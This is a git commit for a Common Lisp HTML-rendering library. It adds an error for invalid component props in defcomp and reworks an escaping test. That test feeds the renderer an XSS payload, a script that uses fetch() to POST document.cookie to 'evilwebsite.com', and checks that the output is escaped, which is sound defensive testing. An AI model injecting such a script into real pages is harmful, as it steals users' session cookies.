Add error for invalid props declaration.

This commit is contained in:
paku 2024-06-02 21:01:11 +09:00
parent a6bfe77c1f
commit bce01c3c42
2 changed files with 6 additions and 5 deletions

View file

@ -37,6 +37,10 @@
(defhsx ,name ,(make-keyword name))))
(defmacro defcomp (name props &body body)
(unless (or (null props)
(member '&key props)
(member '&rest props))
(error "Component properties must be declared with either &key, &rest, or both."))
(let ((%name (symbolicate '% name)))
`(eval-when (:compile-toplevel :load-toplevel :execute)
(defun ,%name ,props

View file

@ -64,12 +64,9 @@
:pretty t))))
(test escaping-tag
(is (string= #M"<div>
\ &lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;
\</div>"
(is (string= "<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>"
(render-to-string
(div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>" )
:pretty t))))
(div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>")))))
(test non-escaping-tag
(is (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"